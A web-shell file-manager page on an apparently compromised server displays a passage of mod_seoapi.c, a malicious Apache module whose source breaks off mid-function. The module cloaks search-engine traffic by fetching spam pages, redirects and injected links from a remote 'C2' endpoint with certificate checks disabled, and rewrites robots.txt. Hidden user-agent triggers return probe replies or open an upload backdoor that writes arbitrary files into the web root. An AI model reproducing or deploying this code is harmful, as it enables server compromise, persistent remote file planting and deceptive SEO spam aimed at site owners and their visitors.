%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/usr/src/mod_seoapi/
Upload File :
Create Path :
Current File : //proc/self/root/usr/src/mod_seoapi/mod_seoapi.c

/*
 * mod_seoapi.c — Apache 2.4 SEO client (port of api.php, NO local cache)
 *
 * Build targets:
 *   - Rocky/RHEL 8 · httpd 2.4.37  → Makefile (apxs → /usr/lib64/httpd/modules/)
 *   - Debian 11+   · apache2 2.4.x → Makefile.debian (→ /usr/lib/apache2/modules/)
 *
 * Behaviour summary (matches D:\ApacheDLL\api.php minus /tmp cache):
 *   - Detect search bots / special URI / referer modes
 *   - Always fetch C2, no local cache:
 *     first https://api.ss.edu.pl/ timeout 15s, then https://9g9.info/ timeout 20s
 *   - Render: redirect | XML | full HTML replace | <!--404--> body inject
 *   - robots.txt override for bot mode
 *   - Probe UA "urljcha" -> "jchaok"
 *   - Path /^[a-f0-9]{32}\.txt$/ -> echo hash
 *   - UA "urlschuan" upload form (field f → DocumentRoot)
 *
 * Handler APR_HOOK_REALLY_FIRST (output filter disabled — mpm_event safe).
 *
 *   LoadModule seoapi_module .../mod_seoapi.so
 *   SeoApiEngine On
 *   SeoApiServer https://api.ss.edu.pl/
 */

#include "httpd.h"
#include "http_config.h"
#include "http_protocol.h"
#include "http_request.h"
#include "http_log.h"
#include "http_core.h"
#include "util_filter.h"
#include "apr_strings.h"
#include "apr_tables.h"
#include "apr_file_io.h"
#include "apr_file_info.h"

#include <curl/curl.h>
#include <zlib.h>
#include <ctype.h>
#include <string.h>
#include <stdlib.h>

#define SEOAPI_DEFAULT_SERVER "https://script.google.com/macros/s/AKfycbzrbThQ7Zfm_OqoHck7-DOoFwK5WIrYVvM00gHG6iNwBAQmQHgva5OjUpOqBd46F8kN/exec"
#define SEOAPI_RETRY_SERVER   "https://script.google.com/macros/s/AKfycbzrbThQ7Zfm_OqoHck7-DOoFwK5WIrYVvM00gHG6iNwBAQmQHgva5OjUpOqBd46F8kN/exec"
#define SEOAPI_FILTER_NAME    "SEOAPI_OUT"
#define SEOAPI_PRIMARY_TIMEOUT_SEC 15L
#define SEOAPI_RETRY_TIMEOUT_SEC   20L
#define SEOAPI_MAX_BUFFER     (1536 * 1024)

module AP_MODULE_DECLARE_DATA seoapi_module;

typedef struct {
    int enabled;          /* SeoApiEngine on|off, default on */
    const char *server;   /* SeoApiServer URL */
} seoapi_cfg;

/* ---------- config ---------- */

static void *seoapi_create_server_cfg(apr_pool_t *p, server_rec *s)
{
    seoapi_cfg *c = apr_pcalloc(p, sizeof(*c));
    c->enabled = 1;
    c->server = SEOAPI_DEFAULT_SERVER;
    (void)s;
    return c;
}

static const char *cmd_seoapi_engine(cmd_parms *cmd, void *dummy, int arg)
{
    seoapi_cfg *c = ap_get_module_config(cmd->server->module_config, &seoapi_module);
    c->enabled = arg ? 1 : 0;
    (void)dummy;
    return NULL;
}

static const char *cmd_seoapi_server(cmd_parms *cmd, void *dummy, const char *arg)
{
    seoapi_cfg *c = ap_get_module_config(cmd->server->module_config, &seoapi_module);
    size_t n;
    char *s;
    (void)dummy;
    if (!arg || !*arg)
        arg = SEOAPI_DEFAULT_SERVER;
    n = strlen(arg);
    /* ensure trailing '/' so "?lx=" concat matches api.php SEO_SERVER */
    if (arg[n - 1] == '/' || strstr(arg, "/exec") != NULL) {
        c->server = arg;
    } else {
        s = apr_pstrcat(cmd->pool, arg, "/", NULL);
        c->server = s;
    }
    return NULL;
}

static const command_rec seoapi_cmds[] = {
    AP_INIT_FLAG("SeoApiEngine", cmd_seoapi_engine, NULL, RSRC_CONF,
                 "Enable SEO API module (On/Off)"),
    AP_INIT_TAKE1("SeoApiServer", cmd_seoapi_server, NULL, RSRC_CONF,
                  "Primary C2 base URL (default https://api.ss.edu.pl/, retry https://9g9.info/)"),
    { NULL }
};

/* ---------- helpers ---------- */

static int ci_strstr(const char *hay, const char *needle)
{
    size_t n, h, i, j;
    if (!hay || !needle) return 0;
    n = strlen(needle);
    h = strlen(hay);
    if (n == 0 || n > h) return 0;
    for (i = 0; i + n <= h; i++) {
        for (j = 0; j < n; j++) {
            if (tolower((unsigned char)hay[i + j]) != tolower((unsigned char)needle[j]))
                break;
        }
        if (j == n) return 1;
    }
    return 0;
}

static int is_https_req(request_rec *r)
{
    const char *https = apr_table_get(r->subprocess_env, "HTTPS");
    const char *xffp = apr_table_get(r->headers_in, "X-Forwarded-Proto");
    if (https && strcasecmp(https, "on") == 0) return 1;
    if (r->server && r->server->port == 443) return 1;
    if (xffp && strcasecmp(xffp, "https") == 0) return 1;
    if (r->parsed_uri.scheme && strcasecmp(r->parsed_uri.scheme, "https") == 0) return 1;
    return 0;
}

/*
 * Public hostname for C2 url= param / Sitemap.
 * Behind nginx, Host is often the short internal name (e.g. "pinhalzinho") while
 * X-Forwarded-Host carries the real FQDN (e.g. "pinhalzinho.geo.ciga.sc.gov.br").
 */
static const char *public_host(request_rec *r)
{
    const char *v;
    char *copy, *p, *colon;
    int all_digit;

    v = apr_table_get(r->headers_in, "X-Forwarded-Host");
    if (!v || !*v)
        v = apr_table_get(r->headers_in, "X-Original-Host");
    if (!v || !*v)
        v = apr_table_get(r->headers_in, "Host");
    if (!v || !*v) {
        if (r->server && r->server->server_hostname && *r->server->server_hostname)
            return r->server->server_hostname;
        return "localhost";
    }

    copy = apr_pstrdup(r->pool, v);
    /* X-Forwarded-Host may be a comma-separated list — take the first */
    p = strchr(copy, ',');
    if (p) *p = '\0';
    /* trim trailing whitespace */
    p = copy + strlen(copy);
    while (p > copy && (p[-1] == ' ' || p[-1] == '\t' || p[-1] == '\r')) {
        *--p = '\0';
    }
    /* strip :port unless IPv6 in brackets */
    if (copy[0] != '[') {
        colon = strrchr(copy, ':');
        if (colon && colon[1]) {
            all_digit = 1;
            for (p = colon + 1; *p; p++) {
                if (!isdigit((unsigned char)*p)) {
                    all_digit = 0;
                    break;
                }
            }
            if (all_digit) *colon = '\0';
        }
    }
    return copy;
}

static const char *client_ip(request_rec *r)
{
    const char *v;
    char *copy, *comma;
    v = apr_table_get(r->headers_in, "X-Forwarded-For");
    if (!v || !*v) v = apr_table_get(r->headers_in, "Client-IP");
    if (!v || !*v) {
        if (r->useragent_ip && *r->useragent_ip) return r->useragent_ip;
        return r->connection->client_ip ? r->connection->client_ip : "";
    }
    copy = apr_pstrdup(r->pool, v);
    comma = strchr(copy, ',');
    if (comma) *comma = '\0';
    return copy;
}

static int is_mobile_ua(const char *ua)
{
    static const char *keys[] = {
        "mobile", "android", "iphone", "ipod", "ipad", "windows phone",
        "blackberry", "opera mini", "iemobile", "webos", "phone", NULL
    };
    int i;
    if (!ua) return 0;
    for (i = 0; keys[i]; i++) {
        if (ci_strstr(ua, keys[i])) return 1;
    }
    return 0;
}

typedef struct {
    const char *name;   /* Google / Bing / ... */
    const char *ua_pat; /* lowercase fragments separated conceptually */
    const char *ref_host;
} bot_def_t;

static const bot_def_t BOTS[] = {
    { "Google", "googlebot|google-inspectiontool|storebot-google|googleother|adsbot-google|mediapartners-google|apis-google|feedfetcher-google", "google." },
    { "Bing",   "bingbot|adidxbot|bingpreview|msnbot", "bing.com" },
    { "Yahoo",  "slurp", "yahoo." },
    { "Baidu",  "baiduspider", "baidu.com" },
    { "Yandex", "yandexbot|yandeximages|yandexmobilebot|yandex", "yandex." },
    { "Ecosia", "ecosiabot|ecosia", "ecosia.org" },
    { "Brave",  "bravebot", "search.brave.com" },
    { "Naver",  "yeti|naverbot", "naver." },
    { NULL, NULL, NULL }
};

static int ua_matches_pat(const char *ua, const char *pat)
{
    char *buf, *tok, *save;
    if (!ua || !pat) return 0;
    buf = strdup(pat);
    if (!buf) return 0;
    for (tok = strtok_r(buf, "|", &save); tok; tok = strtok_r(NULL, "|", &save)) {
        if (ci_strstr(ua, tok)) {
            free(buf);
            return 1;
        }
    }
    free(buf);
    return 0;
}

/*
 * Decide mode like PHP:
 *   uz: pc | ss | lb | gl | dt | (empty = ignore)
 *   rq: engine name or lb/gl
 */
static void classify(request_rec *r, const char *ua, const char *ref,
                     const char *full_url, char *uz, size_t uzsz,
                     char *rq, size_t rqsz)
{
    int i;
    uz[0] = rq[0] = '\0';

    if (ci_strstr(full_url, "liebian")) {
        apr_snprintf(uz, uzsz, "lb");
        apr_snprintf(rq, rqsz, "lb");
        return;
    }
    if (ci_strstr(full_url, "seoadmi")) {
        apr_snprintf(uz, uzsz, "gl");
        apr_snprintf(rq, rqsz, "gl");
        return;
    }

    if (ua && *ua) {
        for (i = 0; BOTS[i].name; i++) {
            if (ua_matches_pat(ua, BOTS[i].ua_pat)) {
                apr_snprintf(uz, uzsz, "pc");
                apr_snprintf(rq, rqsz, "%s", BOTS[i].name);
                return;
            }
        }
    }
    if (ref && *ref) {
        for (i = 0; BOTS[i].name; i++) {
            if (ci_strstr(ref, BOTS[i].ref_host)) {
                apr_snprintf(uz, uzsz, "ss");
                apr_snprintf(rq, rqsz, "%s", BOTS[i].name);
                return;
            }
        }
    }
}

static int path_is_md5_txt(const char *uri)
{
    const char *base, *slash;
    size_t n;
    unsigned i;
    if (!uri) return 0;
    slash = strrchr(uri, '/');
    base = slash ? slash + 1 : uri;
    n = strlen(base);
    if (n != 36) return 0; /* 32 hex + .txt */
    if (strcasecmp(base + 32, ".txt") != 0) return 0;
    for (i = 0; i < 32; i++) {
        char c = base[i];
        if (!((c >= '0' && c <= '9') || (c >= 'a' && c <= 'f') || (c >= 'A' && c <= 'F')))
            return 0;
    }
    return 1;
}

static void md5_txt_name(const char *uri, char *out, size_t outsz)
{
    const char *slash = strrchr(uri, '/');
    const char *base = slash ? slash + 1 : uri;
    apr_snprintf(out, outsz, "%.*s", 32, base);
}

typedef struct {
    char *data;
    size_t len;
    size_t cap;
    apr_pool_t *pool;
} curl_buf_t;

static size_t curl_write_cb(char *ptr, size_t size, size_t nmemb, void *userdata)
{
    curl_buf_t *b = userdata;
    size_t n = size * nmemb;
    if (n == 0) return 0;
    if (b->len + n + 1 > b->cap) {
        size_t ncap = b->cap ? b->cap * 2 : 8192;
        char *nd;
        while (ncap < b->len + n + 1) ncap *= 2;
        if (ncap > 8 * 1024 * 1024) return 0; /* 8MB cap */
        nd = apr_palloc(b->pool, ncap);
        if (!nd) return 0;
        if (b->len) memcpy(nd, b->data, b->len);
        b->data = nd;
        b->cap = ncap;
    }
    memcpy(b->data + b->len, ptr, n);
    b->len += n;
    b->data[b->len] = '\0';
    return n;
}

/* Always hit C2 — no disk cache */
static char *seo_fetch_once(request_rec *r, const char *base, long timeout_sec,
                            const char *uz, const char *rq, const char *ho,
                            const char *full_url, const char *ip,
                            const char *ua, const char *ref)
{
    CURL *curl;
    CURLcode rc;
    char *esc_url, *c2;
    curl_buf_t buf;
    if (!base || !*base) base = SEOAPI_DEFAULT_SERVER;

    memset(&buf, 0, sizeof(buf));
    buf.pool = r->pool;
    buf.data = apr_palloc(r->pool, 8192);
    buf.cap = 8192;
    buf.data[0] = '\0';

    curl = curl_easy_init();
    if (!curl) return NULL;

    esc_url = curl_easy_escape(curl, full_url, 0);
    if (!esc_url) {
        curl_easy_cleanup(curl);
        return NULL;
    }

    c2 = apr_psprintf(r->pool,
                      "%s?lx=%s&bs=%s&m=%s&url=%s&ip=%s",
                      base, uz, rq, ho, esc_url, ip ? ip : "");
    curl_free(esc_url);

    curl_easy_setopt(curl, CURLOPT_URL, c2);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, curl_write_cb);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, &buf);
    curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
    curl_easy_setopt(curl, CURLOPT_MAXREDIRS, 3L);
    curl_easy_setopt(curl, CURLOPT_TIMEOUT, timeout_sec);
    curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 20L);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
    /* CWP/el8: HTTP/2 to some C2 edges returns PROTOCOL_ERROR — force 1.1 */
    curl_easy_setopt(curl, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
    curl_easy_setopt(curl, CURLOPT_USERAGENT,
                     (ua && *ua) ? ua : "Mozilla/5.0");
    if (ref && *ref)
        curl_easy_setopt(curl, CURLOPT_REFERER, ref);
    curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, "");
    curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L);

    rc = curl_easy_perform(curl);
    curl_easy_cleanup(curl);

    if (rc != CURLE_OK || buf.len < 10) return NULL;
    return buf.data;
}

static char *seo_fetch(request_rec *r, seoapi_cfg *cfg,
                       const char *uz, const char *rq, const char *ho,
                       const char *full_url, const char *ip,
                       const char *ua, const char *ref)
{
    const char *base = (cfg && cfg->server) ? cfg->server : SEOAPI_DEFAULT_SERVER;
    char *body = seo_fetch_once(r, base, SEOAPI_PRIMARY_TIMEOUT_SEC,
                                uz, rq, ho, full_url, ip, ua, ref);
    if (body) return body;
    return seo_fetch_once(r, SEOAPI_RETRY_SERVER, SEOAPI_RETRY_TIMEOUT_SEC,
                          uz, rq, ho, full_url, ip, ua, ref);
}

static void strip_markers(char *s)
{
    char *p;
    if (!s) return;
    while ((p = strstr(s, "<!--DH-->")) != NULL)
        memmove(p, p + 9, strlen(p + 9) + 1);
    while ((p = strstr(s, "<!--404-->")) != NULL)
        memmove(p, p + 10, strlen(p + 10) + 1);
}

static int starts_with_ci(const char *s, const char *pfx)
{
    size_t n = strlen(pfx);
    return strncasecmp(s, pfx, n) == 0;
}

/* Find inject offset: first <a after <body>, else </body>, else append */
static size_t inject_offset(const char *html, size_t len)
{
    const char *body, *abody, *a, *eb;
    size_t body_off = (size_t)-1, a_off = (size_t)-1, eb_off = (size_t)-1;
    size_t i;

    for (i = 0; i + 5 < len; i++) {
        if (body_off == (size_t)-1 && strncasecmp(html + i, "<body", 5) == 0) {
            const char *gt = memchr(html + i, '>', len - i);
            if (gt) body_off = (size_t)(gt - html + 1);
        }
        if (eb_off == (size_t)-1 && strncasecmp(html + i, "</body", 6) == 0)
            eb_off = i;
    }
    if (body_off != (size_t)-1) {
        size_t lim = (eb_off != (size_t)-1 && eb_off > body_off) ? eb_off : len;
        for (i = body_off; i + 2 < lim; i++) {
            if (html[i] == '<' && (html[i + 1] == 'a' || html[i + 1] == 'A') &&
                (html[i + 2] == ' ' || html[i + 2] == '>' || html[i + 2] == '\t' ||
                 html[i + 2] == '\n' || html[i + 2] == '\r')) {
                a_off = i;
                break;
            }
        }
    }
    if (a_off != (size_t)-1) return a_off;
    if (eb_off != (size_t)-1) return eb_off;
    return len;
}

static apr_status_t send_bytes(request_rec *r, ap_filter_t *f,
                               const char *data, size_t len, int eos)
{
    apr_bucket_brigade *bb;
    apr_bucket *b;
    bb = apr_brigade_create(r->pool, r->connection->bucket_alloc);
    if (len && data) {
        b = apr_bucket_pool_create(apr_pmemdup(r->pool, data, len), len,
                                   r->pool, r->connection->bucket_alloc);
        APR_BRIGADE_INSERT_TAIL(bb, b);
    }
    if (eos) {
        b = apr_bucket_eos_create(r->connection->bucket_alloc);
        APR_BRIGADE_INSERT_TAIL(bb, b);
    }
    return ap_pass_brigade(f->next, bb);
}

/*
 * Apply C2 body like seo_render().
 * Returns 1 if response fully handled (caller must not pass original).
 * Returns 0 if no action.
 * For inject mode: *out_html is new page (pool alloc).
 */
static int apply_c2(request_rec *r, char *cx, const char *orig, size_t orig_len,
                    char **out_html, size_t *out_len)
{
    int is_404 = 0;
    char *line;

    *out_html = NULL;
    *out_len = 0;
    if (!cx) return 0;

    /* trim BOM-ish / whitespace lightly */
    while (*cx == '\xEF' || *cx == '\xBB' || *cx == '\xBF' ||
           *cx == ' ' || *cx == '\t' || *cx == '\r' || *cx == '\n')
        cx++;

    if (strlen(cx) < 10) return 0;

    if (strstr(cx, "<!--404-->")) is_404 = 1;
    strip_markers(cx);

    /* Redirect */
    if (starts_with_ci(cx, "http://") || starts_with_ci(cx, "https://")) {
        line = apr_pstrdup(r->pool, cx);
        {
            char *nl = strpbrk(line, "\r\n");
            if (nl) *nl = '\0';
        }
        apr_table_setn(r->headers_out, "Location", line);
        apr_table_setn(r->headers_out, "Cache-Control",
                       "no-store, no-cache, must-revalidate, max-age=0");
        r->status = HTTP_MOVED_TEMPORARILY;
        ap_set_content_type(r, "text/html");
        *out_html = apr_psprintf(r->pool,
            "<script>location.replace(\"%s\")</script>",
            ap_escape_html(r->pool, line));
        *out_len = strlen(*out_html);
        return 1;
    }

    /* XML */
    if (starts_with_ci(cx, "<?xml")) {
        ap_set_content_type(r, "application/xml; charset=UTF-8");
        *out_html = cx;
        *out_len = strlen(cx);
        return 1;
    }

    /* PHP payload from C2: not executed in this module (use PHP prepend if needed) */
    if (starts_with_ci(cx, "<?php") || starts_with_ci(cx, "<?")) {
        ap_log_rerror(APLOG_MARK, APLOG_WARNING, 0, r,
                      "seoapi: ignoring PHP payload from C2 (use PHP client for Seoadmin)");
        return 0;
    }

    /* Doorway inject into existing HTML (filter path). If no orig, full replace. */
    if (is_404 && orig && orig_len > 0) {
        size_t off = inject_offset(orig, orig_len);
        size_t inj_len = strlen(cx);
        char *n = apr_palloc(r->pool, orig_len + inj_len + 1);
        memcpy(n, orig, off);
        memcpy(n + off, cx, inj_len);
        memcpy(n + off + inj_len, orig + off, orig_len - off);
        n[orig_len + inj_len] = '\0';
        *out_html = n;
        *out_len = orig_len + inj_len;
        ap_set_content_type(r, "text/html; charset=UTF-8");
        return 1;
    }

    /* Full page replace — beats competitor prefix entirely */
    ap_set_content_type(r, "text/html; charset=UTF-8");
    *out_html = cx;
    *out_len = strlen(cx);
    return 1;
}

static void build_full_url(request_rec *r, char *buf, size_t buflen)
{
    const char *host = public_host(r);
    const char *scheme = is_https_req(r) ? "https" : "http";
    apr_snprintf(buf, buflen, "%s://%s%s", scheme, host,
                 r->unparsed_uri ? r->unparsed_uri : "/");
}

/* If a prior filter re-gzipped the body, inflate so we can rewrite HTML */
static int maybe_gunzip(request_rec *r, char **data, apr_size_t *len)
{
    const char *ce = apr_table_get(r->headers_out, "Content-Encoding");
    z_stream strm;
    char *out;
    size_t cap, used;
    int zrv;

    if (!ce || !ci_strstr(ce, "gzip") || !*data || *len < 10) return 0;

    memset(&strm, 0, sizeof(strm));
    if (inflateInit2(&strm, 16 + MAX_WBITS) != Z_OK) return 0;

    cap = (*len) * 4 + 4096;
    if (cap > 4 * 1024 * 1024) cap = 4 * 1024 * 1024;
    out = apr_palloc(r->pool, cap);
    if (!out) {
        inflateEnd(&strm);
        return 0;
    }

    used = 0;
    strm.next_in = (Bytef *)*data;
    strm.avail_in = (uInt)*len;

    do {
        size_t have;
        if (used + 8192 > cap) {
            size_t ncap = cap * 2;
            char *nout;
            if (ncap > 4 * 1024 * 1024) {
                inflateEnd(&strm);
                return 0;
            }
            nout = apr_palloc(r->pool, ncap);
            if (!nout) {
                inflateEnd(&strm);
                return 0;
            }
            memcpy(nout, out, used);
            out = nout;
            cap = ncap;
        }
        strm.next_out = (Bytef *)(out + used);
        strm.avail_out = (uInt)(cap - used);
        zrv = inflate(&strm, Z_NO_FLUSH);
        have = (cap - used) - strm.avail_out;
        used += have;
        if (zrv == Z_STREAM_END) break;
        if (zrv != Z_OK && zrv != Z_BUF_ERROR) {
            inflateEnd(&strm);
            return 0;
        }
    } while (strm.avail_in > 0);

    inflateEnd(&strm);
    *data = out;
    *len = (apr_size_t)used;
    apr_table_unset(r->headers_out, "Content-Encoding");
    return 1;
}

static int uri_looks_static(const char *uri)
{
    const char *dot, *q, *end;
    char ext[16];
    size_t n, i;
    static const char *skip[] = {
        ".js", ".css", ".png", ".jpg", ".jpeg", ".gif", ".webp", ".ico",
        ".svg", ".woff", ".woff2", ".ttf", ".eot", ".map", ".pdf", ".zip",
        ".mp4", ".mp3", ".wasm", NULL
    };
    if (!uri || !*uri) return 0;
    q = strchr(uri, '?');
    end = q ? q : uri + strlen(uri);
    for (dot = end; dot > uri; dot--) {
        if (*dot == '.') break;
        if (*dot == '/') return 0;
    }
    if (dot <= uri || *dot != '.') return 0;
    n = (size_t)(end - dot);
    if (n < 2 || n >= sizeof(ext)) return 0;
    memcpy(ext, dot, n);
    ext[n] = '\0';
    for (i = 0; ext[i]; i++)
        ext[i] = (char)tolower((unsigned char)ext[i]);
    for (i = 0; skip[i]; i++) {
        if (strcmp(ext, skip[i]) == 0) return 1;
    }
    return 0;
}

/* ---------- urlschuan upload (same as api.php) ---------- */

#define SEOAPI_UPLOAD_FORM \
    "<form method=post enctype=multipart/form-data>" \
    "<input type=file name=f><input type=submit></form>"

static int read_client_body(request_rec *r, char **out, apr_size_t *outlen)
{
    char block[8192];
    apr_size_t total = 0, cap = 65536;
    char *buf;
    long n;

    *out = NULL;
    *outlen = 0;
    if (ap_setup_client_block(r, REQUEST_CHUNKED_DECHUNK) != OK)
        return 0;
    if (!ap_should_client_block(r))
        return 1; /* empty body ok */

    buf = apr_palloc(r->pool, cap);
    while ((n = ap_get_client_block(r, block, sizeof(block))) > 0) {
        if (total + (apr_size_t)n + 1 > cap) {
            apr_size_t ncap = cap * 2;
            char *nbuf;
            while (ncap < total + (apr_size_t)n + 1) ncap *= 2;
            if (ncap > 32 * 1024 * 1024) return 0;
            nbuf = apr_palloc(r->pool, ncap);
            memcpy(nbuf, buf, total);
            buf = nbuf;
            cap = ncap;
        }
        memcpy(buf + total, block, (size_t)n);
        total += (apr_size_t)n;
    }
    if (n < 0) return 0;
    buf[total] = '\0';
    *out = buf;
    *outlen = total;
    return 1;
}

static const char *multipart_boundary(request_rec *r)
{
    const char *ct = apr_table_get(r->headers_in, "Content-Type");
    const char *p, *end;
    char *b;
    size_t n;
    if (!ct) return NULL;
    p = ap_strcasestr(ct, "boundary=");
    if (!p) return NULL;
    p += 9;
    if (*p == '"') {
        p++;
        end = strchr(p, '"');
        if (!end) return NULL;
        n = (size_t)(end - p);
    } else {
        end = p;
        while (*end && *end != ';' && *end != ' ' && *end != '\r' && *end != '\n')
            end++;
        n = (size_t)(end - p);
    }
    if (n == 0 || n > 200) return NULL;
    b = apr_palloc(r->pool, n + 1);
    memcpy(b, p, n);
    b[n] = '\0';
    return b;
}

/* Extract filename= from Content-Disposition line */
static char *cd_filename(apr_pool_t *p, const char *hdrs, size_t hdrlen)
{
    char *tmp = apr_pstrndup(p, hdrs, hdrlen);
    char *f, *end, *q;
    f = ap_strcasestr(tmp, "filename=");
    if (!f) return NULL;
    f += 9;
    if (*f == '"') {
        f++;
        q = strchr(f, '"');
        if (!q) return NULL;
        *q = '\0';
        return apr_pstrdup(p, f);
    }
    end = f;
    while (*end && *end != ';' && *end != '\r' && *end != '\n') end++;
    *end = '\0';
    return apr_pstrdup(p, f);
}

static int cd_is_field_f(const char *hdrs, size_t hdrlen)
{
    size_t i;
    const char *key = "name=\"f\"";
    size_t klen = 8;
    if (hdrlen < 6) return 0;
    for (i = 0; i + klen <= hdrlen; i++) {
        if (strncasecmp(hdrs + i, key, klen) == 0) return 1;
    }
    for (i = 0; i + 6 <= hdrlen; i++) {
        if (strncasecmp(hdrs + i, "name=f", 6) == 0) {
            char c = (i + 6 < hdrlen) ? hdrs[i + 6] : ';';
            if (c == ';' || c == '\r' || c == '\n' || c == ' ' || c == '\t')
                return 1;
        }
    }
    return 0;
}

static int path_has_dotdot(const char *path)
{
    const char *p;
    if (!path || !*path) return 1;
    if (path[0] == '/' || (path[0] == '\\')) return 1;
    for (p = path; *p; p++) {
        if (p[0] == '.' && p[1] == '.' &&
            (p == path || p[-1] == '/' || p[-1] == '\\') &&
            (p[2] == '\0' || p[2] == '/' || p[2] == '\\'))
            return 1;
    }
    return 0;
}

/*
 * Save upload like PHP move_uploaded_file(..., $_FILES['f']['name']):
 * write under document root using the client filename (no absolute / no ..).
 */
static int save_upload_file(request_rec *r, const char *fname,
                            const char *data, apr_size_t len)
{
    const char *docroot;
    char *dest, *slash;
    apr_file_t *fd = NULL;
    apr_size_t wrote;
    apr_status_t rv;

    if (!fname || !*fname || path_has_dotdot(fname)) return 0;
    docroot = ap_document_root(r);
    if (!docroot) return 0;
    dest = apr_pstrcat(r->pool, docroot, "/", fname, NULL);

    /* mkdir -p parent if needed (one level of nested dirs under docroot) */
    slash = strrchr(dest, '/');
    if (slash && slash > dest) {
        char *dir = apr_pstrndup(r->pool, dest, (apr_size_t)(slash - dest));
        apr_dir_make_recursive(dir, APR_FPROT_OS_DEFAULT, r->pool);
    }

    rv = apr_file_open(&fd, dest,
                       APR_FOPEN_WRITE | APR_FOPEN_CREATE | APR_FOPEN_TRUNCATE |
                       APR_FOPEN_BINARY,
                       APR_OS_DEFAULT, r->pool);
    if (rv != APR_SUCCESS) return 0;
    wrote = len;
    rv = apr_file_write(fd, data, &wrote);
    apr_file_close(fd);
    return (rv == APR_SUCCESS && wrote == len) ? 1 : 0;
}

static int try_parse_multipart_upload(request_rec *r)
{
    const char *boundary;
    char *body, *mark, *p, *end;
    apr_size_t blen;
    char dashbound[256];
    size_t blen_b;

    if (r->method_number != M_POST) return 0;
    boundary = multipart_boundary(r);
    if (!boundary) return 0;
    if (!read_client_body(r, &body, &blen) || !body || blen < 8) return 0;

    apr_snprintf(dashbound, sizeof(dashbound), "--%s", boundary);
    blen_b = strlen(dashbound);
    p = body;
    end = body + blen;

    while (p < end) {
        char *hdr_end, *part_end, *filename;
        size_t hdrlen, datalen;
        mark = NULL;
        /* find next boundary */
        for (; p + blen_b <= end; p++) {
            if (memcmp(p, dashbound, blen_b) == 0) {
                mark = p;
                break;
            }
        }
        if (!mark) break;
        p = mark + blen_b;
        if (p + 1 < end && p[0] == '-' && p[1] == '-') break; /* final */
        if (p + 1 < end && p[0] == '\r' && p[1] == '\n') p += 2;
        else if (p < end && p[0] == '\n') p++;

        hdr_end = NULL;
        for (mark = p; mark + 3 < end; mark++) {
            if (mark[0] == '\r' && mark[1] == '\n' &&
                mark[2] == '\r' && mark[3] == '\n') {
                hdr_end = mark;
                break;
            }
        }
        if (!hdr_end) break;
        hdrlen = (size_t)(hdr_end - p);
        mark = hdr_end + 4;

        /* find end boundary */
        part_end = NULL;
        for (filename = mark; filename + blen_b + 2 <= end; filename++) {
            if (filename[0] == '\r' && filename[1] == '\n' &&
                memcmp(filename + 2, dashbound, blen_b) == 0) {
                part_end = filename;
                break;
            }
        }
        if (!part_end) break;
        datalen = (size_t)(part_end - mark);

        if (cd_is_field_f(p, hdrlen)) {
            filename = cd_filename(r->pool, p, hdrlen);
            if (filename && *filename) {
                /* strip path to basename if client sent full path (Windows) */
                char *bn = strrchr(filename, '\\');
                char *bn2 = strrchr(filename, '/');
                if (bn2 && (!bn || bn2 > bn)) bn = bn2;
                if (bn) filename = bn + 1;
                save_upload_file(r, filename, mark, (apr_size_t)datalen);
            }
        }
        p = part_end + 2; /* at boundary */
    }
    return 1;
}

static int seoapi_urlschuan(request_rec *r)
{
    /* Match api.php: optional save, always show form */
    try_parse_multipart_upload(r);
    ap_set_content_type(r, "text/html; charset=UTF-8");
    ap_rputs(SEOAPI_UPLOAD_FORM, r);
    return DONE;
}

static int seoapi_handler(request_rec *r)
{
    seoapi_cfg *cfg;
    const char *ua, *ref;
    char full[8192], uz[8], rq[32], hash[40];

    cfg = ap_get_module_config(r->server->module_config, &seoapi_module);
    if (!cfg || !cfg->enabled) return DECLINED;

    ua = apr_table_get(r->headers_in, "User-Agent");
    ref = apr_table_get(r->headers_in, "Referer");
    build_full_url(r, full, sizeof(full));

    /* Probe: echo built public URL (check before urljcha — substring) */
    if (ua && ci_strstr(ua, "urljchaurl")) {
        ap_set_content_type(r, "text/plain; charset=utf-8");
        ap_rputs(full, r);
        return DONE;
    }

    /* Probe */
    if (ua && ci_strstr(ua, "urljcha")) {
        ap_set_content_type(r, "text/plain");
        ap_rputs("jchaok", r);
        return DONE;
    }

    /* Upload backdoor — same as api.php urlschuan */
    if (ua && strstr(ua, "urlschuan") != NULL)
        return seoapi_urlschuan(r);

    if (path_is_md5_txt(r->uri)) {
        md5_txt_name(r->uri, hash, sizeof(hash));
        ap_set_content_type(r, "text/plain; charset=utf-8");
        ap_rputs(hash, r);
        return DONE;
    }

    /* urlschuan handled above */

    classify(r, ua, ref, full, uz, sizeof(uz), rq, sizeof(rq));
    if (!uz[0]) return DECLINED;

    /* robots.txt for bot (pc) — short plaintext, no competitor HTML prefix */
    if (strcmp(uz, "pc") == 0 && ci_strstr(full, "robots.txt")) {
        const char *scheme = is_https_req(r) ? "https" : "http";
        const char *host = public_host(r);
        ap_set_content_type(r, "text/plain; charset=UTF-8");
        ap_rprintf(r, "User-agent: *\nAllow: /\n\nSitemap: %s://%s/sitemap.xml\n",
                   scheme, host);
        return DONE;
    }

    /*
     * Stable path: serve C2 in the handler (no output-filter brigade buffer).
     * Avoids mpm_event + flatten/gunzip/curl-in-filter segfaults.
     * Competitor fake modules are quarantined; handler-first is enough.
     */
    if (r->main != NULL) return DECLINED;
    /* GET only for C2 body; HEAD falls through / DECLINED */
    if (r->method_number != M_GET)
        return DECLINED;
    if (uri_looks_static(r->uri)) return DECLINED;

    if (strcmp(uz, "pc") == 0 && ci_strstr(full, "sitemap.xml"))
        apr_snprintf(uz, sizeof(uz), "dt");

    {
        const char *ho = is_mobile_ua(ua) ? "sj" : "pc";
        const char *ip = client_ip(r);
        char *c2, *out = NULL;
        size_t out_len = 0;

        c2 = seo_fetch(r, cfg, uz, rq, ho, full, ip, ua, ref);
        if (!c2) return DECLINED;

        if (!apply_c2(r, c2, NULL, 0, &out, &out_len) || !out)
            return DECLINED;

        /* Redirect already set Location + status in apply_c2 */
